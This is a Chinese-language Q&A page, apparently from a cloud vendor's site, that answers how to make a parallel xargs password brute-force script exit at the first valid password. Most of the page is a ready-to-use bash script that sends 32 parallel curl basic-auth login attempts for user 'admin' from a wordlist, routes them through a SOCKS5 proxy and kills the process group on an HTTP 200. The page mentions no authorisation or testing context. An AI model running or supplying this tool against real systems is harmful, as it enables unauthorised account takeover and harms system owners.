You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

如何让xargs并行爆破脚本找到首个正确密码后立即退出

问题原因

现有脚本中awk匹配到200状态码后执行exit,仅会终止awk自身进程。管道上游的xargs以及它拉起的32个并行curl子进程不会收到终止信号,会继续跑完整个字典的所有条目,因此无法实现找到首个正确密码就全流程退出的效果。
补充:之前用GNU parallel能正常终止,是因为parallel原生支持任务成功后提前终止的参数,xargs本身没有内置该逻辑,需要手动做进程生命周期控制。

可直接用的修改版本

核心思路是通过命名管道异步接收curl返回结果,匹配到正确密码后直接杀死xargs所在的整个进程组,连带所有并行的curl子进程一起清理,无残留进程:

#!/bin/bash
# 提前替换为你自己的实际字典路径和目标地址
wordlist="/path/to/your/password/dict.txt"
ip="http://your-target-address"

# 创建临时命名管道做结果通信
mkfifo .result_tmp
exec 3<> .result_tmp
rm -f .result_tmp

# 后台启动xargs并行爆破任务,记录xargs的PID
cat "$wordlist" | xargs -n 1 -P 32 -I {} curl -s -o /dev/null -w '%{http_code} {}\n' --socks5 127.0.0.1:1080 "$ip" -u admin:{} >&3 &
xargs_pid=$!

# 实时读取返回结果
while read -r resp_code passwd; do
  if [ "$resp_code" = "200" ]; then
    echo "Found password: $passwd"
    # 给xargs对应的进程组发终止信号,清掉所有还在跑的curl子进程
    kill -TERM -$(ps -o pgid= "$xargs_pid" | tr -d ' ') 2>/dev/null
    # 关闭管道描述符,退出脚本
    exec 3>&-
    exit 0
  fi
done <&3

wait "$xargs_pid"
exec 3>&-
注意事项
  • 所有变量比如$wordlist、$ip都要加双引号包裹,避免路径或目标地址含特殊字符(比如空格)时脚本执行报错
  • 不要用直接pkill curl的方式终止进程,容易误杀系统里其他正在运行的curl任务
  • 如果需要调整并行数,直接改-P后面的数值即可,终止逻辑不受影响

内容的提问来源于stack exchange,提问作者Puffy

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.30 10:30:34